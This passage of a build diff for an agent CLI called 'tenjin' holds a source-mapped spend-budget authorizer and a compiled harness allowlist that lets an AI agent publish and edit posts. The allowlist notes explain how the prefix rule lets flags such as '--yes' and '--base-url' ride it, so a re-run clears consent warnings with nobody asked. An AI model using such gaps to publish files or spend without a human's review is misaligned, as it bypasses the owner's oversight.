commit) self-expires after RESERVATION_TTL_MS.\n */\n\nexport interface SpendRequest {\n mode?: PaymentMode;\n amountAtomic: bigint;\n creator: string;\n /** The caller's `--max-price` cap, if any. */\n maxPriceAtomic?: bigint;\n /**\n * THE SAME-TURN DUPLICATE GUARD. An opaque identity for the request being\n * paid for (its destination and its exact arguments), recorded on the\n * reservation. A second authorization carrying a key an unexpired reservation\n * already holds is DENIED rather than reserved, so one in-flight payment can\n * never become two because a caller retried, a harness re-fired, or a second\n * process asked for the same thing. Same lock and same file as the budget, so\n * the check is atomic across the per-command processes an agent spawns; the\n * reservation TTL is what bounds \"same turn\". Omit it and nothing changes.\n */\n requestKey?: string;\n}\n\nexport interface SpendAuthorization {\n decision: SpendDecision;\n reason: PolicyReason;\n message: string;\n amountAtomic: bigint;\n sessionSpentAtomic: bigint;\n sessionBudgetAtomic: bigint | null;\n policyEnforcement: PolicyEnforcement;\n /** The pending reservation to commit (on settlement) or release (on abort).\n * Present when the spend may proceed, including an unlimited budget. */\n reservationId?: string;\n}\n\nexport interface SpendAuthorizer {\n policyEnforcement: PolicyEnforcement;\n /** Evaluate a spend against policy + the rolling session ledger, atomically\n * reserving budget when the spend may proceed. */\n authorize(req: SpendRequest): Promise<SpendAuthorization>;\n /**\n * Finalize a reservation into committed spend after settlement. Runs only\n * post-settlement, so `amountAtomic` is authoritative: if the reservation\n * TTL-expired mid-confirm (a human can out-wait RESERVATION_TTL_MS at the\n * prompt), the settled amount is still recorded rather than silently lost\n * from the rolling budget.\n */\n commit(\n reservationId: string | undefined,\n amountAtomic: bigint,\n /** What the counterparty reported actually taking, when it said so at all.\n * Omitted means \"assume it took what was authorized\", the conservative\n * reading every caller had before the router began waiving fees. */\n opts?: { settledAtomic?: bigint; mode?: PaymentMode; nonce?: string },\n ): Promise<void>;\n /** Drop an unused reservation (a decline, a 409, or a failed payment). */\n release(reservationId: string | undefined): Promise<void>;\n}\n\nexport interface LocalSpendAuthorizerDeps {\n dir: string;\n policy: SpendPolicy;\n /** Rolling window length (ms); default 24h. Injectable for tests. */\n windowMs?: number;\n /** Clock seam for deterministic window tests. */\n now?: () => number;\n /**\n * Called at most ONCE per authorizer when the ledger file exists but cannot be\n * read back. The reset below is fail-open by design, and a silent one hands back\n * budget the operator believes is already spent — so the caller gets to say so.\n */\n onCorrupt?: (reason: string) => void;\n}\n\nexport function createLocalSpendAuthorizer(deps: LocalSpendAuthorizerDeps): SpendAuthorizer {\n const windowMs = deps.windowMs ?? DEFAULT_WINDOW_MS;\n const now = deps.now ?? Date.now;\n const path = spendLedgerPath(deps.dir);\n const lockPath = `${path}.lock`;\n // One notice per authorizer: authorize and commit each read the file, and the\n // reset is not persisted until something is written, so an unlatched warning\n // would fire twice for the same broken file within one command.\n let warnedCorrupt = false;\n\n // Roll the window and drop expired reservations; returns the live ledger.\n const freshen = (ledger: Ledger | null, nowMs: number): Ledger => {\n if (ledger === null || nowMs - ledger.windowStartMs >= windowMs) return emptyLedger(nowMs);\n return {\n ...ledger,\n reservations: ledger.reservations.filter((r) => nowMs - r.atMs < RESERVATION_TTL_MS),\n };\n };\n\n const persist = async (ledger: Ledger): Promise<void> => {\n await writeFileAtomic(path, `${JSON.stringify(ledger, null, 2)}\\n`, {\n mode: 0o600,\n dirMode: 0o700,\n });\n };\n\n async function withLedger<T>(fn: (ledger: Ledger, nowMs: number) => Promise<T> | T): Promise<T> {\n await mkdir(deps.dir, { recursive: true, mode: 0o700 });\n return withFileLock(lockPath, async () => {\n const nowMs = now();\n const read = await readLedger(path);\n if (read.corrupt !== undefined && !warnedCorrupt) {\n warnedCorrupt = true;\n deps.onCorrupt?.(read.corrupt);\n }\n const ledger = freshen(read.ledger, nowMs);\n return fn(ledger, nowMs);\n });\n }\n\n return {\n policyEnforcement: 'client-only',\n async authorize(req: SpendRequest): Promise<SpendAuthorization> {\n return withLedger(async (ledger) => {\n const sessionSpentAtomic = spentOf(ledger);\n if (\n req.requestKey !== undefined &&\n ledger.reservations.some((r) => r.requestKey === req.requestKey)\n ) {\n return {\n decision: 'deny',\n reason: 'duplicate_in_flight',\n message:\n 'An identical request already holds a reservation in this turn. No second payment was made.',\n amountAtomic: req.amountAtomic,\n sessionSpentAtomic,\n sessionBudgetAtomic: deps.policy.sessionBudgetAtomic,\n policyEnforcement: 'client-only',\n };\n }\n const evaluation = evaluateSpendPolicy(deps.policy, {\n mode: req.mode ?? 'automatic',\n amountAtomic: req.amountAtomic,\n creator: req.creator,\n ...(req.maxPriceAtomic !== undefined ? { maxPriceAtomic: req.maxPriceAtomic } : {}),\n sessionSpentAtomic,\n });\n const base: SpendAuthorization = {\n ...evaluation,\n amountAtomic: req.amountAtomic,\n sessionSpentAtomic,\n sessionBudgetAtomic: deps.policy.sessionBudgetAtomic,\n policyEnforcement: 'client-only',\n };\n // Unlimited budgets still reserve to prevent identical in-flight requests.\n if (evaluation.decision === 'deny') {\n return base;\n }\n const reservation: Reservation = {\n id: randomUUID(),\n mode: req.mode ?? 'automatic',\n amountAtomic: req.amountAtomic.toString(),\n atMs: now(),\n ...(req.requestKey !== undefined ? { requestKey: req.requestKey } : {}),\n };\n await persist({ ...ledger, reservations: [...ledger.reservations, reservation] });\n return { ...base, reservationId: reservation.id };\n });\n },\n async commit(\n reservationId: string | undefined,\n amountAtomic: bigint,\n opts: { settledAtomic?: bigint; mode?: PaymentMode; nonce?: string } = {},\n ): Promise<void> {\n // Record transmitted exposure even if its reservation has expired.\n await withLedger(async (ledger) => {\n const reservation =\n reservationId !== undefined\n ? ledger.reservations.find((r) => r.id === reservationId)\n : undefined;\n const exposure =\n reservation !== undefined ? BigInt(reservation.amountAtomic) : amountAtomic;\n // TWO NUMBERS, ON PURPOSE. The budget keeps counting what left; the\n // settled total records what was taken, and they differ whenever a\n // counterparty waives a fee against an authorization already sent.\n const settled = opts.settledAtomic ?? exposure;\n const settledSoFar = BigInt(ledger.settledAtomic ?? ledger.committedAtomic);\n const mode = reservation ? (reservation.mode ?? 'automatic') : (opts.mode ?? 'automatic');\n await persist({\n ...ledger,\n committedAtomic: (BigInt(ledger.committedAtomic) + exposure).toString(),\n automaticCommittedAtomic: (\n BigInt(ledger.automaticCommittedAtomic ?? ledger.committedAtomic) +\n (mode === 'manual' ? 0n : exposure)\n ).toString(),\n settledAtomic: (settledSoFar + settled).toString(),\n reservations:\n reservationId !== undefined\n ? ledger.reservations.filter((r) => r.id !== reservationId)\n : ledger.reservations,\n // Keyed by the authorization's nonce, so a reconcile that proves it\n // was never charged can release this amount and nothing else.\n ...(opts.nonce !== undefined\n ? {\n exposures: [\n ...(ledger.exposures ?? []),\n {\n nonce: opts.nonce.toLowerCase(),\n amountAtomic: exposure.toString(),\n atMs: now(),\n mode,\n },\n ],\n }\n : {}),\n });\n });\n },\n async release(reservationId: string | undefined): Promise<void> {\n if (reservationId === undefined) return;\n await withLedger(async (ledger) => {\n if (!ledger.reservations.some((r) => r.id === reservationId)) return;\n await persist({\n ...ledger,\n reservations: ledger.reservations.filter((r) => r.id !== reservationId),\n });\n });\n },\n };\n}\n\n/**\n * GIVE BACK A PAYMENT THE CHAIN PROVED WAS NEVER CHARGED: its authorization\n * expired unused. Exactly the exposure recorded under that nonce comes off the\n * committed totals, once; a nonce from an earlier window, from a ledger an\n * older build wrote, or one already released finds nothing and changes\n * nothing. Returns the amount released, or null when the ledger could not be\n * updated, so the caller keeps the payment open and asks again.\n */\nexport async function releaseUnchargedExposure(\n dir: string,\n nonce: string,\n opts: { now?: () => number; windowMs?: number } = {},\n): Promise<bigint | null> {\n const path = spendLedgerPath(dir);\n const nowMs = (opts.now ?? Date.now)();\n try {\n return await withFileLock(`${path}.lock`, async () => {\n const { ledger } = await readLedger(path);\n if (ledger === null || nowMs - ledger.windowStartMs >= (opts.windowMs ?? DEFAULT_WINDOW_MS)) {\n return 0n;\n }\n const key = nonce.toLowerCase();\n const entry = (ledger.exposures ?? []).find((e) => e.nonce === key);\n if (entry === undefined) return 0n;\n const amount = BigInt(entry.amountAtomic);\n const less = (value: string | undefined, fallback: string): string => {\n const current = BigInt(value ?? fallback);\n return (current > amount ? current - amount : 0n).toString();\n };\n await writeFileAtomic(\n path,\n `${JSON.stringify(\n {\n ...ledger,\n committedAtomic: less(ledger.committedAtomic, '0'),\n ...(entry.mode === 'manual'\n ? {}\n : {\n automaticCommittedAtomic: less(\n ledger.automaticCommittedAtomic,\n ledger.committedAtomic,\n ),\n }),\n settledAtomic: less(ledger.settledAtomic, ledger.committedAtomic),\n exposures: (ledger.exposures ?? []).filter((e) => e.nonce !== key),\n },\n null,\n 2,\n )}\\n`,\n { mode: 0o600, dirMode: 0o700 },\n );\n return amount;\n });\n } catch {\n return null;\n }\n}\n\nexport { readSpendSummary, type SpendSummary } from '../spend-ledger';\n"],"mappings":";;;;;;;;;;;;;;;;;;;;;;AAAA,SAAS,aAAa;AACtB,SAAS,kBAAkB;AA8GpB,SAAS,2BAA2B,MAAiD;AAC1F,QAAM,WAAW,KAAK,YAAY;AAClC,QAAM,MAAM,KAAK,OAAO,KAAK;AAC7B,QAAM,OAAO,gBAAgB,KAAK,GAAG;AACrC,QAAM,WAAW,GAAG,IAAI;AAIxB,MAAI,gBAAgB;AAGpB,QAAM,UAAU,CAAC,QAAuB,UAA0B;AAChE,QAAI,WAAW,QAAQ,QAAQ,OAAO,iBAAiB,SAAU,QAAO,YAAY,KAAK;AACzF,WAAO;AAAA,MACL,GAAG;AAAA,MACH,cAAc,OAAO,aAAa,OAAO,CAAC,MAAM,QAAQ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AS,UAAU,SAAS,IAAI,SAAS;AAAA,MAC7D;AACA,YAAM;AAAA,QACJ;AAAA,QACA,GAAG,KAAK;AAAA,UACN;AAAA,YACE,GAAG;AAAA,YACH,iBAAiB,KAAK,OAAO,iBAAiB,GAAG;AAAA,YACjD,GAAI,MAAM,SAAS,WACf,CAAC,IACD;AAAA,cACE,0BAA0B;AAAA,gBACxB,OAAO;AAAA,gBACP,OAAO;AAAA,cACT;AAAA,YACF;AAAA,YACJ,eAAe,KAAK,OAAO,eAAe,OAAO,eAAe;AAAA,YAChE,YAAY,OAAO,aAAa,CAAC,GAAG,OAAO,CAAC,MAAM,EAAE,UAAU,GAAG;AAAA,UACnE;AAAA,UACA;AAAA,UACA;AAAA,QACF,CAAC;AAAA;AAAA,QACD,EAAE,MAAM,KAAO,SAAS,IAAM;AAAA,MAChC;AACA,aAAO;AAAA,IACT,CAAC;AAAA,EACH,QAAQ;AACN,WAAO;AAAA,EACT;AACF;","names":[]}
@@ -0,0 +1,29 @@
1
+ import { createRequire as __tenjinCreateRequire } from 'node:module'; const require = __tenjinCreateRequire(import.meta.url);
2
+
3
+ // src/lib/permissions.ts
4
+ var PUBLISH_MODE_ALLOWLIST = [
5
+ {
6
+ rule: "Bash(tenjin publish:*)",
7
+ command: "tenjin publish",
8
+ note: "PUBLISHES PUBLICLY under your identity, and is cleared only while publish.mode is auto or full-auto: the mode is the consent, and the harness prompt would ask for it twice. Three things it clears that the free tier never did. It OPENS THE KEYSTORE: publish always resolves a signer, and with no usable session it mints one at read+write scope, which is strictly broader than the read-only key `tenjin read` mints to recover an owned piece. It publishes the contents of ANY REGULAR LOCAL FILE the agent can read, gated only by the heuristic scan. And it is a PREFIX rule, so it pins the verb and not the flags: `--base-url` rides it (see the flag caveat), and `--yes` is an ordinary flag on the same verb that clears exactly the WARN findings auto stopped on, so a re-run collapses auto into full-auto with nobody asked. The local scan is warn-only now and every finding routes through the same consent flow this mode already governs; what still refuses a publish outright is the SERVER\u2019s ingest gate (vendor tokens, private keys, seed phrases, DB passwords, bearer headers), which no mode and no flag clears. The skills hold the rest of that line. Set publish.mode back to review and the rule is retracted."
9
+ },
10
+ {
11
+ rule: "Bash(tenjin edit:*)",
12
+ command: "tenjin edit",
13
+ note: "Updates posts your wallet ALREADY OWNS: reprices, refreshes an as-of date, repairs an answer card, and flips status both ways, so it CAN PROMOTE A DRAFT TO PUBLISHED under this same gate (promotion re-runs the block-tier secret scan over the stored body). Owner-scoped on both legs (GET and PUT /api/posts/<id> are signed and owner-only), spends nothing, moves no keys, and mints no new posts: a narrower blast radius than the publish rule beside it, though promotion means existing drafts can go public. It rides the same mode for the same reason: edit runs the identical publish.mode consent gate in the CLI (lib/consent.ts needsConfirmation), so a mode that publishes unattended and then cannot fix its own post\u2019s price is the asymmetry the mode exists to remove. It opens the keystore on the same terms as the publish rule beside it, and takes the same prefix-rule caveats. Removed by the same return to review."
14
+ }
15
+ ];
16
+ function modeGatedAllowlist(mode) {
17
+ return mode === "review" ? [] : PUBLISH_MODE_ALLOWLIST.map((e) => ({ ...e }));
18
+ }
19
+ var PERMISSIONS_DOC_URL = "https://github.com/BackTrackCo/tenjin-agent/blob/main/docs/agent-permissions.md";
20
+ function modeGatedPointer(mode, missing, remedy = "tenjin install") {
21
+ if (modeGatedAllowlist(mode).length === 0 || missing.length === 0) return null;
22
+ return `publish.mode=${mode} also needs ${missing.join(" and ")} in your harness allowlist, or it will prompt anyway; \`${remedy}\` writes them.`;
23
+ }
24
+
25
+ export {
26
+ PERMISSIONS_DOC_URL,
27
+ modeGatedPointer
28
+ };
29
+ //# sourceMappingURL=chunk-A36LQPHV.js.map